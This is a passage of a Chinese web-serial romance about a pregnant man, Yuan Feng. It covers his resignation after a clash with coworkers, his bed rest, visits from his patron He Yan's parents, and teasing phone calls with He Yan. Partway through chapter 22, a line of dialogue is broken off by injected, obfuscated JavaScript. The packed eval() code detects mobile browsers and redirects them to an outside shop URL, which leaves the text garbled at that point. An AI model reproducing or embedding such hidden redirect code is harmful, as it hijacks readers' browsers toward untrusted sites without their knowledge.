贺颜走上二楼,粗略地扫了眼楼道。空无一人的业务部目测三十平米左右,工作环境马马虎虎。最边上有间独立办公室,门是虚掩着的,能听到交谈声。 就猜到这小子放不下工作,真够敬业的。 他往那儿走了几步,里面突然传来男人激动的声音。 “说好给三天的啊!我昨天刚谈到一个大客户,老板说再考虑两天,没准明天就能签下来了!” “没准?”元丰靠坐在办公椅上,冷着脸严肃道,“我也不跟你废话了,公司招你进来干吗的?来看黄-片的?” “……”杨伟愣着说不出话来。 “像什么话!”元丰搬出总经理,继续说道,“总经理那边我已经打过招呼了,你收拾收拾东西,去人事那儿办离职吧。” 杨伟自知理亏,无助地看向大哥,希望对方能帮帮自己。 贺颜今天算是开眼了,元丰这小经理当得有模有样,还挺会教训人。他站在门口没动,员工上班时间用来看黄-片,确实得开除。 方远刚才进来第一时间就问元丰找自己干什么,对方连多余的眼神都没给他,说是先放一放,谈好杨伟再谈他的事儿。 狗腿子要被辞退,他压着火气,开口说道:“说好了给三天时间,元经理怎么能说话不算话呢?还没到期限就擅自把人辞退,你觉得合适吗?” “跟你没关系。”元丰懒得搭理方远,冲杨伟说,“还愣着干什么?出去。” 方远被元丰那态度气得直接发起飙:“你他妈几个意思?” “多大岁数的人了,你到底能不能胜任这份业务经理的工作?”元丰顾及肚子里的孩子,没敢大声嚷嚷。 他平静道:“但凡你有点脑子和对待工作的责任心,这种混吃等死的业务员就该趁早辞退。留着是想干什么?让他给你端茶倒水每天拍拍马屁?你他妈是来上班还是来当大爷的?” 杨伟听不下去了,积压已久的不满瞬间爆发:“我就愿意给他端茶倒水,怎么的?不就是辞职吗?等你一滚蛋,我再进来不就完事儿了?你他妈有什么可牛的?” 元丰无奈地看着在自己面前蹦跶的两个小丑,他问方远:“你还想好好干吗?你这么做对得起黄总经理吗?你以为他不知道你什么水平?要不是为了自己亲闺女,他能让你来当这个业务经理?” 能力被一次又一次否定,对方还比自己小七岁。方远忍不了了,他伸手指着元丰,气急败坏道:“我一再容忍你,真以为我不敢动手打你?我他妈今天就好好收拾你!杨伟,去给我把他按着!” 元丰好心好意劝说方远,没想到对方居然要打自己。 真他妈操了,两个傻逼。 “是!”杨伟刚要上前,办公室门发出砰的撞击声,胳膊猛地被人攥住。一股无形的压迫感来袭,他侧过头,身边莫名其妙多了个体格健硕的男人。 方远也被吓一跳,他后退两步,不客气地问道:“你谁啊你?” 贺颜用力攥紧那条胳膊,无视耳边发出的痛呼声。 他看向办公桌前坐着的小经理,皱眉道:“他俩平时就这么对你的?” 元丰呆呆地盯着突然出现的男人,一时没反应过来。 “妈的,撒手啊!”杨伟痛叫出声,扭头看向方远,“方哥你快帮帮我!” 就冲陌生男人那一拳能打死自己的体格,方远也是心有余力不足,想不到姓元的矮怂逼还敢带着帮手过来,他收敛了些:“你赶紧把人放开,要是弄骨折了你赔——” “赔什么?” “……”方远被男人瞥过来的眼神吓得自觉闭上嘴,彻底怂了。 再说下去,恐怕要挨揍。 此刻,及时出现的贺总在元丰心里已经不只是包养自己的大老板,更是靠谱的孩子亲爹,多亏他来了,那两个傻逼一个被收拾服帖一个吓得退到墙角,窝囊的模样怎么看怎么解气,真他妈痛快。 他抬高音量,板着脸呵斥道:“你们俩胆子不小,还敢收拾我这个经理。” 方远气得咬牙没吭声,后悔自己今天太过冲动,等坐上经理位置再教训这小子也不迟。 “大哥,我知道错了!你先撒手行不行啊?我这就给元经理道歉。”杨伟低头认怂,拼命道歉,“对不起啊,元经理。真的对不起,我以后再也不看黄-片了!肯定认真跑业务,求求你再给我个机会。” “我给没给过你机会?” 贺颜无动于衷,他问元丰:“几点了?” “啊,这就走!”元丰很快反应过来,拎起装着保温杯和干湿巾的塑料袋走到贺总身边,用空闲的左手戳了戳他后腰,“我最后再说一句。” 贺颜应了声:“快点。” 元丰这回没再客气,指着方远鼻子直接爆起粗口:“成天吊儿郎当,你他妈就是一坨扶不上墙的烂泥!不对,你连烂泥都不如,是一坨踩了得恶心三五十年的臭狗屎!你不老想挤我走吗?我已经辞职了,以后都不会再过来。重要资料和该学的我都保存在电脑桌面那个新建文件夹里了,你要还想好好努力,我再给你最后一次机会,自己微信找我!” 方远:“……” 能听到这番话,贺颜丝毫没意外,把人甩开,揽住元丰的肩膀带向自己,“走了。” 话说到这份上,元丰不想再管杨伟的事儿,听话地跟着贺总离开了办公室。 “不是再说一句吗?真能叭叭。” “嘿嘿,一口气也算一句啊。” 杨伟猝不及防摔了个屁股蹲儿,疼得哎哟直叫唤,躺了好一会儿才虚弱地叫道:“方哥,快……快扶我一把……” 方远怎么都没想到元丰居然会辞职,并且说走就走。 他盯着收拾干净的办公桌台面,气得用力踹了杨伟一脚,怒骂道:“扶你妈了个比!” “……” “窝囊废!” “……” 这个点的走廊和楼道里一般没人,元丰心情好,也就无所顾忌地搂上贺总的腰。 他激动地说道:“要不是因为肚子里的这个小东西,我早冲上去干他俩了。你教训的那个平时可不敢这么对我,另一个傻逼就是老跟我不对付的那个。” “不对付还交接?”贺颜调侃,“去天上做菩萨吧,我瞧着挺合适。” “……啥啊,我就要做人。”元丰笑着掐了一把贺总的腰,“要不是为了总经理,我都不带搭理的。总经理还给我转了一千块钱,我这心里头过意不去啊。” “合着没有你,这业务部要瘫了?” “……” “还是公司要倒闭了?” “……”元丰接不上话,无语了。 “跟个老妈子似的,也不嫌累。” “……” 俩人走到一楼,贺颜主动放开元丰,说:“还要打招呼就赶紧的,我先去车里。” 赵志鹏那儿只能打电话沟通了,小美在前台坐着,直接走不合适。元丰正想提这茬又怕贺总生气,没想到对方主动提了出来。 他高兴地点点头:“我就是把她当妹妹看的,真没那个意思。” “嗯,去吧。” 元丰盯着贺总的背影,心里盘算着得加多少分合适。要不给个20分吧,自己跟孩子正好一人10分,会不会太少了? 他突然觉得这考核成绩没啥意义了,贺总本来就是孩子他爹,不管自己认不认可,孩子有跟亲爹相处的权利。 元丰怀孕的事儿藏不住,保姆刘秀珍在他做完检查的当天下午就知道了,工作内容也从原本的定期过来做饭改为贴身照顾,弄得他很不好意思。陈硕安慰他没必要产生这种情绪,因为贺总大方涨薪,保姆只是拿钱办事。 这么一提醒,他依旧不好意思,只不过对象从刘姨变成了贺总。 接下来的三天,他按时吃药吃叶酸,每日三餐也是刘姨照着怀孕月份准备的各种孕期营养餐。 贺总头两天没过来,但会在晚上八点左右给他打电话,问他吃得好不好,身体有没有哪儿不舒服,见没见红。 贺总的每一句话都是关心他跟孩子的,问完这些还会叮嘱他早点睡觉,少玩手机。 方远那儿左等右等没个消息,元丰在第三天晚上吃饭时,才知道原来是陈硕去替他交接了。 他惊道:“陈硕还懂业务这块啊?” “他名校毕业,脑子聪明。”贺颜说,“懂的不比你少。” 元丰更惊了:“名校毕业的在你这儿……” “怎么着,屈才了?” “……”元丰想说你让名校毕业的专门给你擦屁股,何止是屈才啊。 但这话可不能说,他赶紧岔开话题,随口问道:“贺总,你大学在哪儿上的啊?是本市不?” “美国。” “……” 元丰小学都没毕业,出国留学对他来说比登天还难。眼前的男人竟然是个海归,他第一次对贺总产生强烈的好奇,忍不住问道:“贺总,那你英语肯定很好吧?是不是能跟外国人聊天啊?你在那儿待了几年啊,感觉咋样?” 元丰满脸求知欲,贺颜无奈地简短回道:“还行,能聊,五六年,没什么感觉。” “你别敷衍我啊,再跟我细说说。”元丰又问,“是名牌大学不?” “还可以。” “在我面前别谦虚啊!”元丰有些激动,“我没文化,也不知道自己啥智商,怕孩子将来学习不好我又不会辅导功课。他亲爹是个留过学的海归,那我就放心了!” “……”贺颜确定了,这小子完完全全就是个老妈子,操心的命。 “以后孩子学习啥的,都你来行不?” “……” 这个问题并不在贺颜之前的考虑范围内,他一时没能想到合适的答案,换了个话题:“明天复查让陈硕陪你过去,医院那儿我已经打过招呼了。” “嗯,你忙你的,工作要紧。”元丰笑着说,“以后有啥检查,都让陈硕送我去吧。你这么大个老板,哪有时间啊。” 贺颜没有跟小情儿解释自己行程的义务,可眼前这小子到底是不一样的。 “我明天出差,十点的飞机。” “那今晚不在这儿过夜了,是不?”元丰还以为贺总今晚会留下来,这一趟出差也不知道要去多少天,他没好意思问。 “嗯,就过来看看。”贺颜叮嘱道,“自己在家注意点,哪儿有不舒服给我打电话。” 元丰一一点头,“我天天在家躺着呢。” 入睡前,元丰回想着贺总这三天的表现。他为了照顾自己,又花心思又花钱,还要忙工作,好像挺辛苦的。 所以说,还考核个啥啊?以后孩子学习还指着这个亲爹去教呢。 * 陈硕八点准时到达锦西湾,刚下车手机就响了。 看着眼熟的陌生号码,他无奈接通:“李总,请问有什么事吗?” “没事儿,还以为被拉黑了。”电话那头传来男人带着笑意的声音,“打个电话确认一下。” 陈硕倒是想拉黑,他平静道:“我还有工作。” “你们贺总不是出差了吗,又使唤你干什么?老这么被压榨,怪让人心疼的。” “……” 陈硕能感觉到李格的意图,但对方并没挑明,发来的短信也只是日常问候,自己主动提出来未免太过自作多情。 他想起昨晚收到的那条暧昧短信,觉得是时候了。 “李总,我不是同性恋。以后请不要再给我发信息,谢谢。” “原来有反应,你的意思是能打电话?” “不能,谢谢。” “别客气,什么时候休息?” “全年无休。”陈硕不想再浪费口舌,“李总,我先挂了。” “陈助理,我看人挺准的。”李格笑了两声,调侃道,“你这一副性冷淡的模样,恐怕初吻还在吧?” “……” “说中了?” 陈硕立刻掐断电话,淡定地将手机揣回兜里,走进26号单元楼。 元丰在社会上摸爬滚打十一年,就没怎么喘过气儿,这突然闲下来过上猪一般的生活,多少有些不适应。 他低头吸溜着面条,边吃边思考自己能做什么,九个多月的时间都用来吃喝拉撒睡,忒浪费。 班是没法再上了,干点啥好呢? 陈硕敲门出现的那一刻,他茅塞顿开,激动地起身把人迎进来,笑着招呼道:“陈助理,吃了没啊?” “吃过了。”陈硕提醒,“你别多走动。” “哦哦 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“谢谢你啊,陈助理。” “不用客气。” “老给你添麻烦。”元丰笑着说,“我昨晚听贺总说了,公司那儿是你帮我去交接的,那半吊子学得怎么样啊?” “你存在桌面的那些已经很详细,他有点笨,勉强教会了。” 看着面无表情的陈硕,元丰扑哧一笑:“他那猪脑子也就对女人管点用,真是辛苦你了啊。” 陈硕确实觉得辛苦,精神上的。不过元丰这么客气,要是知道自己足足教了两天,恐怕会一直说谢谢。 他简短回道:“没事,不辛苦。” “中午留下来吃饭啊,你也好好补一补。” “……” 血检报告要花时间等,元丰吃完面条后,拿起装着热水的保温杯和药准备带去医院再吃。陈硕主动接过他手里的东西,“我来拿吧。” “这么轻,我拿得动啊。” “贺总交代的。” “……” 又是贺总交代的,元丰配合地递了过去。 从昨天下午到现在,刘姨没问过他为什么会怀孕,更没露出任何惊讶的目光。肯定是因为贺总顾及自己的面子和感受,所以提前交代过了吧。 仔细想想,贺总每次都考虑得特别周到,细心又靠谱。他打开手机短信界面,乐呵呵地给对方发了一条短信。 希望今天复查能有个好结果,让孩子他爹也少操点心。 复查只有一个抽血项目,护士采完血就离开了。那位名叫王丽萍的中年女医生过来问了些基本情况,身体有没有哪里不舒服之类的。 元丰这三天吃嘛嘛香,睡得也香。他问医生:“王大夫,我听说孕妇要穿防辐射衣,那个到底有没有用啊?” “这个怎么说呢,主要还是看生活环境。辐射多的话,能有点效果。”王丽萍笑着提醒,“不放心的话穿着也没事儿,买个好点的。” “谢谢啊,那我回头看看。” “行,我先去查房,有什么问题联系护士。” “好嘞,麻烦您了。” 如果没有先兆流产的症状,元丰根本想不到这茬。他下载了个孕妇专用app,除了能查看孕期方面的知识,还有个孕妈交流专区。 昨天下午他正好刷到一个关于防辐射衣的帖子,琢磨着要不要也买一件穿穿,就是不知道有没有男人能穿的款式和颜色。 “我出去打个电话。” “啊。”元丰闻声抬头,都快忘了这里还有个一声不吭的大活人。 他冲陈硕点点头:“你有事儿忙你的去。” “不忙,就几分钟。” “行。” 元丰打开app,首页显示胎儿已经四周,距离预产期还有252天,宝宝体重0.4克,头臀长4毫米。真小啊,跟芝麻粒似的。他点开宝宝发育的3D视频,连着脐带的小东西一直在转圈,看着像个海马,还挺可爱的。 * 恒信集团创立于1985年,在改革开放大潮的推动下,历经三十多年,披荆斩棘,已是一个大型跨国企业集团,目前拥有房地产、高级酒店和文化旅游等几大核心产业。此次与集团有着重要合作的前阳地处西北,是个资源丰富、文化底蕴深厚的革命老区。该市前景广阔,有着巨大的发展优势。 公司副总张宏彬前阵子已经考察过,毕竟是跟市政府的合作,项目涉及领域较广,贺颜决定亲自过去看看。 他抬腕看了下时间,吩咐道:“给副总打个电话催一催。” “好的,贺总。”邵彤起身离开了贵宾室。 这个点,元丰应该已经在医院做检查。贺颜拿起手机准备在登机前给对方打一通电话,界面有条未读短信。 “感谢贺总对我俩的关心和照顾,可惜不能给你提供一条龙服务了。等你回来,我给你那啥啊,包你满意!好了,我要跟陈硕去医院了。” 怎么都是裙子样式的啊…… 元丰盯着满屏的防辐射衣,皱起了眉头。适合男人的藏青色倒是有,可那样式……谁他妈敢穿出门啊,绝逼会被路人当成神经病的。但手机有辐射,要不买一件在家里穿? 正纠结买不买的时候,贺总电话来了。 他立刻接通,关心道:“贺总,你到机场了吗?” “到了。” “哦哦,护士刚给我抽完血没多久,我躺着休息呢。” “等我回去,给我什么?” 元丰嘿嘿一笑:“明知故问,我不告诉你。” 清朗的笑声传入耳朵,贺颜心情不错:“给我老实点。” “我还不够老实啊?这不是担心你身体吗?我下载了个app,上面说熬过头三个月才能有x生活。你精力那么旺盛,我除了嘴跟手,还能用啥啊?” “……”包养小情儿期间,贺颜不会找其他人。元丰突然怀孕确实挺麻烦,他自己也想过这个问题,只是没想到对方会说出这番话。 这小子自从有了身孕,好像越来越懂事儿了。 “人呢?喂喂?” “瞎叫什么。” “我还以为信号不好了,咋不说话啊?我去!” 贺颜刚要开口叮嘱两句,电话直接被挂断了。 元丰正美滋滋地躺在床上跟孩子他爹聊天,不经意一瞥,发现门口站着两个穿着体面的中年人,不知道是刚来还是站了有一会儿,给他吓得直接叫出声。男的他没见过,可那女的却眼熟得很。 操,贺总他妈为什么会出现在这里?旁边那男的莫非是他爸? 21. 第 21 章 病床上的年轻人白净秀气,是上回在餐厅门口见过的熟面孔。得亏亲弟弟昨晚通风报信,闵兰瑛才知道儿子竟然瞒了这么大个事儿。 她又惊又喜,激动得一宿没睡好,连电话也没敢打,想先来看看这孩子。 元丰没办法把贺总家人当成客户看待,面对院长级别的大人物就够紧张了,这下又来两位长辈,他慌得都不知道该怎么打招呼。 怪了,早不来晚不来,偏偏挑贺总出差的时候过来…… 毕竟是长辈,他从床上坐起来,强行挤出一个微笑:“叔……叔叔阿姨好!” “别起来,赶紧躺着。”闵兰瑛走到床边缓缓坐下,笑着说,“我跟小颜他爸就是过来看看你。” 贺文仲看出年轻人的紧张,冲他点点头,自觉坐远了些。 小颜…… 元丰脑内自动浮现出贺总强壮的体格,实在没法将这个小名跟浑身上下哪哪都大的他联系在一起,叫大颜还差不多。 幸好不是来谈条件的,他心里可算松了口气:“谢谢叔叔阿姨……” 真是个懂礼貌的好孩子,闵兰瑛越看越满意:“小颜要没瞒着,阿姨上次就该来看你了。他这些天有没有好好照顾你?” 元丰一怔,贺总母亲的态度完全出乎意料,带着笑意的眼神竟让他觉得有些温暖。 闵兰瑛见年轻人发愣,就猜到儿子没把人照顾好,她心疼道:“这不会照顾人怎么行,他工作又忙,真是一点都指不上。等检查结果出来,收拾东西跟阿姨回家住。” “……”元丰哪敢跟贺总父母住一块儿,吓得赶紧说道,“谢谢阿姨啊,贺,贺颜他会照顾人的,对我也特别好,家里还请了保姆。” “他出差少说十天半个月的,光有保姆不行,阿姨不放心。”闵兰瑛是过来人,知道生孩子有多辛苦,男人怀孕生子只怕会更辛苦。 “……” 招架不住的热情让元丰不知道该怎么回,手机忽然振了一下,屏幕弹出贺总发来的短信。 “检查结果出来了发我,在家好好养着。” 只是一句简短的叮嘱,他却激动地把手机递到贺总母亲跟前,笑着说:“阿姨,他给我发信息了!他真的会照顾人,还老关心我,所以您放心吧。” 小两口感情处得好,如今还有了孩子,闵兰瑛突然觉得儿媳妇是男的也没什么不好。她问道:“保姆是全天的吗?这一个也不够啊……” “你现在身子弱,晚上洗澡也没个能帮忙的,还是搬过来吧。” “……” 贺文仲看不下去了,冲妻子说道:“你还让他搬什么,不够折腾的。” “也是。”闵兰瑛笑着问,“小丰,你现在住哪儿呢?阿姨过去照顾你。” “……”被叫了小名,元丰有些不好意思。 他老实地报出地址和门牌号,解释道:“卫生间里有防滑,我一个人洗澡真没事儿,您不用特地过来。” “你现在月份小,尤其要注意。”闵兰瑛担忧道,“我这实在放不下心……” “听你阿姨的吧,她有经验,会照顾人。”贺文仲补充道。 “……” 元丰不知道该如何拒绝,无奈的同时又有些高兴。他已经很久没有感受过被重视的温暖,尽管是因为肚子里的孩子。 另一边,陈硕只给自己五分钟的时间用来解决麻烦。 电话里,他直白地问李格到底想干什么。对方倒也干脆,说想跟他做-爱。他二话没说直接挂断,迅速将号码拉入黑名单。整个过程用时还不足半分钟,完美地解决了麻烦。 手机很快收到一条短信,来自另一个陌生号码。 “这么不经吓?” 他盯着这五个字,面无表情地删除短信,离开了安全通道。 回到病房,陈硕听到里间传来交谈声,以为是医生,便坐在客厅的沙发上安静等候。 但那内容越听越不对劲,先是从保胎说到生孩子,再从家庭说到农村环境,养鸡养鸭都来了。 最后话题又围绕着贺总,甚至说起一些童年趣事。有男声偶尔接上几句,元丰一直在乐,笑得很开心。 “哈哈哈,那么大个人还……哈哈……” “这事儿我一直记着呢,转眼一晃,孩子都大了。” 陈硕默默听着,感觉自己知道的太多了,犹豫着要不要发短信通知贺总,最后打消了念头。 * 三个小时后,飞机抵达当地机场。去酒店的路上,贺颜才有工夫看手机,除了工作上的电话和消息,并没收到元丰发来的检查结果。 他估摸着对方在睡午觉,也就没当回事儿。 下午,他与副总张宏彬一行在酒店会见了前阳的市长与市委副书记,双方就合作发展方面进行了更深入的交流。等晚上应酬完回到酒店,已经快十点。 明天还有不少事儿要忙,贺颜快速冲完澡准备睡觉,过于安静的环境让他突然想到了某个人。他拿起枕边的手机打开短信,没一条是关于检查结果的。 贺总没来的那两天会打电话过来,元丰以为今天也会有,却一直没等到。孕酮和HCG的检查结果不太好,医生建议打保胎针。 贺总爸妈在锦西湾陪他待到天黑才走,说明天搬过来照顾他。 白天有人陪,感觉还没那么强烈,这会儿只剩下自己一人,心里开始难过起来。他纠结要不要告诉贺总,又怕对方正在应酬忙工作。算了,孩子他爹有权知道检查结果,要不发个短信说一下吧。 元丰从床上慢慢坐起来,伸手打开床头的暖灯,手机刚好响了,屏幕上亮着“孩子他爹”四个字儿。 刚拨出去的电话很快被接通,却没有任何声音,贺颜就猜到这个爱叭叭的小话痨可能遇上什么事儿了,他问:“检查结果不好?” “嗯……”元丰闷声回道,“数据不太好,大夫让打保胎针,我也不知道还能不能保住。想跟你说来着,又怕影响你工作就没告诉你……” “工作确实重要。”贺颜提醒道,“但我也是孩子他爹,知道吗?” 因为这句“孩子他爹”,元丰第一次有了倾诉的欲望。他难过地低声说道:“我刚还在想是不是因为我这畸形的身体,所以怀不住孩子,还是他嫌弃我了,不想要我这个爹……” “我知道不该这么想,可心里就是特难受,如果打针还保不住,我,唉……不知道为啥今晚老胡思乱想,你也没给我打电话,前两天还八点给我打电话的,你出差忙工作,我也不想让你操那么多心。” “现在孩子都快保不住了,你怪我不?” 难过还这么能叭叭,贺颜耐心听完长篇大论,笑着安慰:“我都没嫌弃,谁敢嫌弃你?以后少想这些乱七八糟的。再忙,也是我该操心的事儿。这孩子跟母亲之间讲究缘分,没保住说明他迷路找错家了,怪你干什么。” 元丰听完更难过了:“那咱们的孩子上哪儿了啊?是不是也找错家了……” “……”贺颜答不上来,只能岔开话题,“保胎针打哪儿?” “打屁股上,下午已经打了一针。” “嗯,疼吗?” “针扎进去的时候有点,现在不疼了。”元丰说完又问,“如果保住了,说明他没迷路,是不是啊?” “是这么回事儿,但你这状态不行,容易吓跑孩子。”贺颜一本正经地说,“得时刻保持愉悦的心情,给孩子创造一个利于他发育生长的环境。” “我……我马上愉悦起来!” “不错,多想些高兴的事儿,想完给我睡觉。”贺颜从没这么哄过人,已经有些累。 “哈哈!” “……” “贺总,我突然想到个好笑的事儿。” 这“马上”的速度不是一般地快,贺颜服了:“说来听听。” “你都八岁了,为啥还会尿床啊?”元丰一边笑一边说,“你尿床就算了,为啥还骗你姥姥说是你爸尿的?男子汉大丈夫,得敢尿敢当啊!” “……”贺颜的脸彻底黑了,“你从哪儿听来的?” “你妈告诉我的啊!”元丰啊了一声,“忘跟你说了,你爸妈今天来医院看我了。他们陪我待到天黑才回去。你妈明天要搬过来,我拒绝不了。” “……”贺颜早有心理准备,只是没想到会这么快。 不过知道也好,元丰今天的情绪不太稳定,有母亲帮着照顾,他还能省点心。 “喂?人呢?咋又不说话了?” “行了,赶紧睡觉。” “还以为你不好意思了,尿床没啥的。” “你他妈……”贺颜及时刹住车,“水喝多了尿个床,不行?” “就那么一次,我知道肯定是水喝多了,我相信你啊。” “……” “我妈说我从小就特乖,没尿过床。”元丰有些得意,“还不撒谎,是个省心的好孩子。” 贺颜笑了:“没事儿就爱尿裤子,确实省心。” “……”元丰反驳,“那不是尿啊,你不能这么算!” “不是尿是什么?”贺颜问。 “……”元丰无语。 “好了,快睡觉。” “哦……”元丰无声地笑了,“晚安啊。” “嗯,晚安。” * 除了必要的走动,元丰连床都不敢下了。孩子爷爷不放心,隔天请人在主卧的卫生间里做足了各种防滑措施,墙上也安装了合适的把手。 现在家里有刘姨和孩子奶奶轮流照顾,弄得他特别不好意思,谢谢这俩字儿已经快说烂了。 陈硕在两天后把二年级到初三的语数英教材和习题册送了过来,他空有大把时间却没法专心学习。 因为孩子他爹不同意,说床上看书毁眼睛,等熬过头仨月,会给他准备一个小书房。 吃喝拉撒睡的安胎小日子,就这么开始了。 不过短短几天工夫,元丰感觉自己要发霉了。保胎针是家庭医生上门来注射的,所以他连出门的机会都没有。 每晚八点半成了他最期待的时刻,来电铃声一响,也就意味着又过去了一天。 真他妈无聊啊…… 元丰打开孕期app,宝宝四周加六天了,还是芝麻粒大小。看完今日的怀孕小知识,他点进孕妈交流区打算随便看看,注意力被首页第二个帖子吸引了。 [标题:欲望很强代表怀男孩,这个准吗?] 听老一辈人说,怀孕期间如果特别强,生男孩概率大。我现在怀孕五个月了,每天都好想要啊,可我老公怕伤到孩子不肯满足我。有没有那啥的很强生了女儿的?我想要个小棉袄,这个说法到底准不准? 评论里有的说特别准,怀孕期间天天要不够,生了儿子。有的说不准,很强却生了女儿。还有个别二胎孕妈说需求不大,生了一儿一女。 每个新手妈妈都会好奇孩子的性别,买婴儿用品也会下意识按照性别来做选择。明知道这个说法很不科学,元丰却忍不住再次好奇肚子里的小家伙到底是儿子还是闺女。 他放下手机,闭眼开始思考自己的需求强不强。 这阵子光顾着担心孩子,好像没怎么想过那档子事儿。查出怀孕之前他倒是挺喜欢的,贺总一碰他,身体就不听使唤了。 元丰只是好奇孩子性别,脑子里却闪过许多少儿不宜的画面,以及男人硬朗帅气的五官,这个男人会…… …… 怪不得这事儿只有一次和无数次,原来真的会上瘾。才过了小半个月而已,他却感觉好久没做了,久到是什么滋味儿都记不得了。 到底是个什么滋味儿…… 好想记起来啊,想被贺总触碰身体,更想被他…… 身体逐渐起了反应,元丰迅速睁开双眼,动作缓慢地下了床。 妈的,早知道不看帖子了,害得自己在这儿胡思乱想。胎儿性别怎么可能会跟需求强不强扯上关系,扯犊子还差不多! 元丰知道自己兴奋了,轻轻叹了口气。 好像回不去了…… …… “小丰,睡了吗?” 元丰被突然响起的敲门声吓得一哆嗦,胡乱套上睡裤躺回床上,冲门方向喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658625|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“阿姨,我还没睡!” 闵兰瑛打开门,端着切好的水果盘走进来,笑道:“没睡就好,先起来吃点水果,歇会儿医生该来了。” “谢谢阿姨!”元丰快尴尬死了,藏在被窝里的手不敢动。 “你这孩子,一家人还说什么客气话?”闵兰瑛在床边坐下,将果盘往前凑了些,“来,先吃点苹果,橙子给你切了半个。” “好。”元丰不好意思让长辈举着果盘伺候自己,又不得不伸出手去接过果盘,“阿姨,我来拿吧。” “小丰,你这脸怎么这么红?”闵兰瑛往前坐了些,伸手摸上儿媳夫的额头,“是不是哪儿不舒服?难受一定要及时跟阿姨说。” “……”元丰没有不舒服,只是想做了。 他哪敢说出实情,只能随口胡诌道:“刚才盖着被子睡觉,热红的……” 闵兰瑛笑着叮嘱道:“别盖那么严实,肚子搭上点就行。” “谢……好的,阿姨。” “快吃吧,怀孕呀就该多吃点水果,对身体好。” “嗯!” “吃好了搁在床头柜上。” 等孩子奶奶一走,元丰才松了口气。他下床换了内裤,偷偷洗完的脏内裤没地方晒,给他急得又开始骂自己没事儿看什么乱七八糟的帖子。 卫生间里还没使用过的安全扶手,成了这条内裤最终的归宿。 * 打针时间是固定的,元丰已经打怕了。 针扎的是肉不是血管,有点疼。注射完之后还得按一会儿,防止油状液体往外流。 头三天他自己按的,后来孩子奶奶心疼他,帮着按。他没好意思拒绝,反正只露小半边屁股。 元丰在电话里跟贺总提过这事儿,对方说如果不喜欢肢体接触直接回绝就行,不用太顾及长辈的感受。 其实他心里很高兴,喜欢这种被人重视的感觉,就好像自己不是多余的。 辞职那天,贺总调侃雄威没了他是不是会倒闭。他知道雄威这么大个公司是不会倒闭的,一个无关紧要的业务经理走了,还会有下一个补上。 他只是想尽可能地实现自我价值,享受被公司需要的感觉。 元丰午觉睡到六点多才醒,坐起来时屁股被扎的部位隐隐作痛。 他打了个哈欠,起床去了客厅。 贺文仲看到房里走出来的年轻人,跟妻子说道:“小丰醒了,去给他盛点饭。” 闵兰瑛回头一看,确实醒了。她见元丰有点迷糊的样子,上前关心道:“没睡饱再睡会儿,饭给你热着呢。” “阿姨,我睡饱了。”元丰揉了揉眼睛,笑着跟餐桌前的长辈打起招呼,“叔叔好!” 贺文仲点点头:“先过来喝点汤,你阿姨亲自下厨炖的。” “谢谢阿姨!” “你这孩子哟……快去坐着。” 虽然跟长辈一块儿吃饭有些放不开,但元丰已经适应了。他每天在家都很无聊,有人陪着吃饭聊天真的很好。而且贺总爸妈是他没接触过的那类父母,他没聊几句就放开了,特别轻松有意思。 他最喜欢听叔叔阿姨讲贺总以前的事儿,过去的贺总倒是一点也不变态,居然还是个三好学生。 元丰不敢再看什么孕妈交流区,决定心无杂念地安心保胎。 因为手机使用的频率有些高,他又看起了防辐射衣,来回看了一圈,在看到一件能直接裹住肚子的防辐射衣时,贺总的电话来了。 才七点半就打来,他激动地接通:“喂?今天咋这么早啊?” “下午没什么事儿,睡了一觉,刚醒。” 男人的声音带着刚睡醒的慵懒,元丰一时忘记接话了。 “在干什么?” “啊。”元丰回过神,“我在看防辐射衣,想买一件。” “防辐射衣?” “嗯,就是孕妇穿的。”元丰解释道,“家里不是有微波炉电视手机啥的吗,那些都有辐射的,穿上就能防辐射了。” “又准备交智商税了?”贺颜一听就知道这小子看了不少乱七八糟的。 “不是啊,我特地网上查了,专家和主任医师都说有点用。而且网上的销量真高,买的人可多了!” “……” 孕夫最大,尤其是保胎中,屁股还天天挨针扎的孕夫。贺颜只能依着元丰,替他把这智商税给交了。 “别看了,回头我给你买。” “哦……”元丰没拒绝,嘿嘿一笑,“那我就不客气了!对了,不能买裙子样式的啊,粉色也不要。” 贺颜不了解防辐射衣,他问:“有裙子样式的?” “是啊,还有些根本没法看。实在不行就算了,我这不是担心孩子吗?” “行,我知道了。”贺颜又问,“明天再打一针,要复查了?” “嗯,算上明天正好一星期。我屁股上现在好多小针眼儿啊,一碰就疼。” 贺颜听出几分委屈,笑了:“回去我给你揉揉?” 耳边是男人低低的笑声,元丰嘴角无意识地跟着上扬:“那不行,一碰就疼,揉了肯定更疼啊!” “以毒攻毒。” “……”元丰突然想起什么,“贺总,你是不是该起床去吃饭了啊?” “确实该起了,晚上有应酬。” 元丰头回好奇贺总的应酬,忍不住八卦道:“啥应酬啊?是那种高级会所不?” “嗯,挺高级的。” 高级俩字儿说明什么?说明肯定会提供特殊服务。 笑意逐渐消失,元丰哦了一声说:“那肯定有一条龙吧,还是你们有钱人会玩。” “确实有。”贺颜调侃,“比你那三脚猫的水平,强不少。” “……”元丰彻底笑不出来了,连话都不想再说,可他心里不痛快,气得回怼,“我三脚猫,你还三脚狗呢!晚上记得多找几条龙,我祝你快活赛神仙!” “嘟嘟嘟——” 应酬只是一场普通的饭局,贺颜不过开个小玩笑而已。 这小子真是长本事了,敢挂他电话。 22. 第 22 章 手机振了两下,元丰没有理会,盯着天花板静静发呆。自己刚才好像冲贺总发脾气了,因为对方要去高级会所应酬,还要享受特殊服务。 他忽然意识到一个问题,算上贺总出差的日子,他俩已经大半个月没做过。贺总需求旺盛又不喜欢自己动手,怎么可能憋得住,自己到底在期待什么…… 最近日子太过舒坦,有人关心有人疼,所以元丰得意忘形了,甚至产生了某些不该有的想法。 他自嘲一笑,你也忒把自己当回事儿了,人家为啥对你好,心里能不能有点逼数? 怀孕过程比想象中更煎熬,他不禁陷入沉思。 